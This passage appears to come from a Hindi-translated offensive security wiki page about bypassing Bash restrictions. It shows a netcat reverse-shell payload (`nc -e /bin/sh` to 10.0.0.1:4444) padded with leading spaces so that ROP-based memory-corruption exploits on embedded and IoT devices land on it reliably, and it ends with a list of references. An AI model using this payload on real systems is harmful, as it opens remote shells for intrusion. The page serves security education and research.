# Payload sprayed into an environment variable / NVRAM entry
" nc -e /bin/sh 10.0.0.1 4444"
# 16× spaces ───┘ ↑ real command
```
यदि एक ROP श्रृंखला (या कोई भी मेमोरी-क्षति प्राइमिटिव) निर्देश सूचक को किसी भी स्थान ब्लॉक के भीतर लाता है, तो Bash पार्सर बस सफेद स्थान को छोड़ देता है जब तक कि यह `nc` तक नहीं पहुँचता, आपके कमांड को विश्वसनीयता से निष्पादित करता है।
व्यावहारिक उपयोग के मामले:
1. **मेमोरी-मैप्ड कॉन्फ़िगरेशन ब्लॉब** (जैसे NVRAM) जो प्रक्रियाओं के बीच सुलभ हैं।
2. ऐसी स्थितियाँ जहाँ हमलावर लोड को संरेखित करने के लिए NULL बाइट्स नहीं लिख सकता।
3. एम्बेडेड उपकरण जहाँ केवल BusyBox `ash`/`sh` उपलब्ध है - वे भी अग्रणी स्थानों की अनदेखी करते हैं।
> 🛠️ इस ट्रिक को ROP गैजेट्स के साथ मिलाएं जो `system()` को कॉल करते हैं ताकि मेमोरी-सीमित IoT राउटर्स पर शोषण की विश्वसनीयता को नाटकीय रूप से बढ़ाया जा सके।
## संदर्भ और अधिक
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
@ -315,4 +335,6 @@ bypass-fs-protections-read-only-no-exec-distroless/
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
{{#include ../../banners/hacktricks-training.md}}